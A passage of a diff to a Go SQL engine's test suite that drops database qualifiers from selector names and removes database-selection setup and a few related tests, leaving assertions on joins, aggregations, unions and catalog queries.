fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "t1", "title")].RawValue()) } err = r.Close() @@ -3787,11 +3641,11 @@ func TestAggregations(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col1")].RawValue()) - require.Equal(t, "", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col4")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col1")].RawValue()) + require.Equal(t, "", row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col4")].RawValue()) err = r.Close() require.NoError(t, err) @@ -3808,15 +3662,15 @@ func TestAggregations(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "c")].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "t1", "c")].RawValue()) - require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col1")].RawValue()) + require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "t1", "col1")].RawValue()) - require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col2")].RawValue()) + require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "t1", "col2")].RawValue()) - require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col3")].RawValue()) + require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "t1", "col3")].RawValue()) - require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].RawValue()) + require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "t1", "col4")].RawValue()) _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) @@ -3846,7 +3700,7 @@ func TestCount(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, uint64(30), row.ValuesBySelector["(db1.t1.c)"].RawValue()) + require.EqualValues(t, uint64(30), row.ValuesBySelector["(t1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -3860,7 +3714,7 @@ func TestCount(t *testing.T) { for j := 0; j < 3; j++ { row, err = r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, uint64(10), row.ValuesBySelector["(db1.t1.c)"].RawValue()) + require.EqualValues(t, uint64(10), row.ValuesBySelector["(t1.c)"].RawValue()) } _, err = r.Read(context.Background()) @@ -3968,16 +3822,16 @@ func TestGroupByHaving(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 6) - require.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) + require.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) - require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "c")].RawValue()) + require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "table1", "c")].RawValue()) if i%2 == 0 { - require.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) - require.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) + require.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) + require.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) } else { - require.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) - require.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) + require.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) + require.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) } } @@ -4064,10 +3918,10 @@ func TestJoins(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) - require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table2", "amount")].RawValue()) - require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table3", "age")].RawValue()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table2", "amount")].RawValue()) + require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table3", "age")].RawValue()) } err = r.Close() @@ -4116,13 +3970,13 @@ func TestJoinsWithNullIndexes(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) - require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].RawValue()) + require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "table2", "val")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) - require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].RawValue()) + require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "table2", "val")].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -4176,9 +4030,9 @@ func TestJoinsWithJointTable(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, "name1", row.ValuesBySelector[EncodeSelector("", "db1", "q", "name")].RawValue()) - require.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "amount")].RawValue()) - require.Equal(t, true, row.ValuesBySelector[EncodeSelector("", "db1", "t12", "active")].RawValue()) + require.Equal(t, "name1", row.ValuesBySelector[EncodeSelector("", "q", "name")].RawValue()) + require.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector("", "t2", "amount")].RawValue()) + require.Equal(t, true, row.ValuesBySelector[EncodeSelector("", "t12", "active")].RawValue()) } err = r.Close() @@ -4228,10 +4082,10 @@ func TestNestedJoins(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].RawValue()) - require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "total_amount")].RawValue()) - require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t3", "age")].RawValue()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "t1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "t1", "title")].RawValue()) + require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "t2", "total_amount")].RawValue()) + require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "t3", "age")].RawValue()) } err = r.Close() @@ -4246,12 +4100,6 @@ func TestReOpening(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.NoError(t, err) @@ -4261,9 +4109,6 @@ func TestReOpening(t *testing.T) { engine, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) @@ -4303,8 +4148,8 @@ func TestSubQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "t")].RawValue()) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "t2", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "t2", "t")].RawValue()) } err = r.Close() @@ -4340,12 +4185,6 @@ func TestJoinsWithSubquery(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE IF NOT EXISTS customers ( id INTEGER, @@ -4408,11 +4247,11 @@ func TestJoinsWithSubquery(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "c", "id")].RawValue()) - require.Equal(t, "Isidro Behnen", row.ValuesBySelector[EncodeSelector("", "db1", "c", "customer_name")].RawValue()) - require.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector("", "db1", "c", "age")].RawValue()) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "customerid")].RawValue()) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "review_count")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "c", "id")].RawValue()) + require.Equal(t, "Isidro Behnen", row.ValuesBySelector[EncodeSelector("", "c", "customer_name")].RawValue()) + require.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector("", "c", "age")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "r", "customerid")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "r", "review_count")].RawValue()) err = r.Close() require.NoError(t, err) @@ -4444,13 +4283,12 @@ func TestInferParameters(t *testing.T) { require.NoError(t, err) require.Empty(t, params) + stmt = "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)" + _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@id, @title);") - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "invalid sql stmt") @@ -4472,8 +4310,6 @@ func TestInferParameters(t *testing.T) { require.NoError(t, err) require.Len(t, params, 0) - stmt = "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)" - params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) @@ -4485,9 +4321,6 @@ func TestInferParameters(t *testing.T) { _, err = engine.InferParametersPreparedStmts(context.Background(), nil, pstmt) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, stmt, nil) - require.NoError(t, err) - params, err = engine.InferParameters(context.Background(), nil, "ALTER TABLE mytableSE ADD COLUMN note VARCHAR") require.NoError(t, err) require.Len(t, params, 0) @@ -4852,39 +4685,6 @@ func TestTrimPrefix(t *testing.T) { } } -func TestUnmapDatabaseId(t *testing.T) { - e := Engine{prefix: []byte("e-prefix.")} - - id, err := unmapDatabaseID(e.prefix, nil) - require.ErrorIs(t, err, ErrIllegalMappedKey) - require.Zero(t, id) - - id, err = unmapDatabaseID(e.prefix, []byte{}) - require.ErrorIs(t, err, ErrIllegalMappedKey) - require.Zero(t, id) - - id, err = unmapDatabaseID(e.prefix, []byte("pref")) - require.ErrorIs(t, err, ErrIllegalMappedKey) - require.Zero(t, id) - - id, err = unmapDatabaseID(e.prefix, []byte("e-prefix.a")) - require.ErrorIs(t, err, ErrIllegalMappedKey) - require.Zero(t, id) - - id, err = unmapDatabaseID(e.prefix, []byte( - "e-prefix.CTL.DATABASE.a", - )) - require.ErrorIs(t, err, ErrCorruptedData) - require.Zero(t, id) - - id, err = unmapDatabaseID(e.prefix, append( - []byte("e-prefix.CTL.DATABASE."), - 1, 2, 3, 4, - )) - require.NoError(t, err) - require.EqualValues(t, 0x01020304, id) -} - func TestUnmapTableId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} @@ -5002,7 +4802,7 @@ func TestUnmapIndexEntry(t *testing.T) { fullValue := append( []byte("e-prefix.E."), - 0x01, 0x02, 0x03, 0x04, + 0x00, 0x00, 0x00, 0x01, 0x11, 0x12, 0x13, 0x14, 0x00, 0x00, 0x00, 0x02, 0x80, @@ -5015,9 +4815,6 @@ func TestUnmapIndexEntry(t *testing.T) { sIndex := &Index{ table: &Table{ - db: &Database{ - id: 0x01020304, - }, id: 0x11121314, }, id: 2, @@ -5146,9 +4943,9 @@ func TestIndexingNullableColumns(t *testing.T) { v2Val, }, ValuesBySelector: map[string]TypedValue{ - EncodeSelector("", "db1", "table1", "id"): idVal, - EncodeSelector("", "db1", "table1", "v1"): v1Val, - EncodeSelector("", "db1", "table1", "v2"): v2Val, + EncodeSelector("", "table1", "id"): idVal, + EncodeSelector("", "table1", "v1"): v1Val, + EncodeSelector("", "table1", "v2"): v2Val, }, } } @@ -5169,11 +4966,11 @@ func TestIndexingNullableColumns(t *testing.T) { v4Val, }, ValuesBySelector: map[string]TypedValue{ - EncodeSelector("", "db1", "table2", "id"): idVal, - EncodeSelector("", "db1", "table2", "v1"): v1Val, - EncodeSelector("", "db1", "table2", "v2"): v2Val, - EncodeSelector("", "db1", "table2", "v3"): v3Val, - EncodeSelector("", "db1", "table2", "v4"): v4Val, + EncodeSelector("", "table2", "id"): idVal, + EncodeSelector("", "table2", "v1"): v1Val, + EncodeSelector("", "table2", "v2"): v2Val, + EncodeSelector("", "table2", "v3"): v3Val, + EncodeSelector("", "table2", "v4"): v4Val, }, } } @@ -5362,7 +5159,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5375,7 +5172,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5388,7 +5185,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5404,7 +5201,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5417,7 +5214,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5430,7 +5227,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5489,7 +5286,7 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5505,12 +5302,12 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5527,7 +5324,7 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5545,14 +5342,14 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) + require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5748,40 +5545,20 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) defer closeStore(t, st) - engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) - require.NoError(t, err) + dbs := []string{"db1", "db2"} + handler := &multidbHandlerMock{} - t.Run("without a handler, multi database stmts are locally resolved", func(t *testing.T) { - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) - require.NoError(t, err) - - err = engine.SetCurrentDatabase(context.Background(), "db1") - require.NoError(t, err) - - r, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES()", nil) - require.NoError(t, err) - - row, err := r.Read(context.Background()) - require.NoError(t, err) - require.NotNil(t, row) - require.Equal(t, "db1", row.ValuesBySelector["(*.databases.name)"].RawValue()) + opts := DefaultOptions(). + WithPrefix(sqlPrefix). + WithMultiDBHandler(handler) - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrNoMoreRows) + engine, err := NewEngine(st, opts) + require.NoError(t, err) - err = r.Close() - require.NoError(t, err) - }) + handler.dbs = dbs + handler.engine = engine t.Run("with a handler, multi database stmts are delegated to the handler", func(t *testing.T) { - dbs := []string{"db1", "db2"} - - handler := &multidbHandlerMock{ - dbs: dbs, - engine: engine, - } - engine.SetMultiDBHandler(handler) - _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE DATABASE db1; @@ -5814,7 +5591,7 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) - require.Equal(t, db, row.ValuesBySelector["(*.databases.name)"].RawValue()) + require.Equal(t, db, row.ValuesBySelector["(databases.name)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5833,7 +5610,7 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) - require.Equal(t, db, row.ValuesBySelector["(*.dbs.dbname)"].RawValue()) + require.Equal(t, db, row.ValuesBySelector["(dbs.dbname)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5843,38 +5620,6 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) }) }) - - t.Run("with a handler, statements must only involve current selected database", func(t *testing.T) { - dbs := []string{"db1", "db2"} - - handler := &multidbHandlerMock{ - dbs: dbs, - } - engine.SetMultiDBHandler(handler) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) - require.NoError(t, err) - - tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) - require.NoError(t, err) - require.NotNil(t, tx) - - // doing stmt initialization because cross database references are disabled by grammar - tableRef := &tableRef{ - db: "db2", - table: "table1", - } - - _, err = tableRef.referencedTable(tx) - require.ErrorIs(t, err, ErrNoSupported) - - tx.currentDB = nil - _, err = tableRef.referencedTable(tx) - require.ErrorIs(t, err, ErrNoDatabaseSelected) - - err = tx.Cancel() - require.NoError(t, err) - }) } type multidbHandlerMock struct { @@ -5929,11 +5674,11 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.tables.name)"].RawValue()) + require.Equal(t, "mytable1", row.ValuesBySelector["(tables.name)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) + require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5947,7 +5692,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) + require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5981,17 +5726,17 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) - require.Equal(t, "mytable1[id]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) + require.Equal(t, "mytable1[id]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) - require.Equal(t, "mytable1[title]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) - require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) + require.Equal(t, "mytable1[title]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -6005,24 +5750,24 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) - require.Equal(t, "mytable2[id]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) + require.Equal(t, "mytable2[id]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) - require.Equal(t, "mytable2[name]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) - require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) + require.Equal(t, "mytable2[name]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) - require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) + require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -6040,27 +5785,27 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].RawValue()) - require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].RawValue()) - require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) - require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) - require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(columns.table)"].RawValue()) + require.Equal(t, "id", row.ValuesBySelector["(columns.name)"].RawValue()) + require.Equal(t, IntegerType, row.ValuesBySelector["(columns.type)"].RawValue()) + require.Equal(t, int64(8), row.ValuesBySelector["(columns.max_length)"].RawValue()) + require.False(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].RawValue()) - require.Equal(t, "title", row.ValuesBySelector["(db1.columns.name)"].RawValue()) - require.Equal(t, VarcharType, 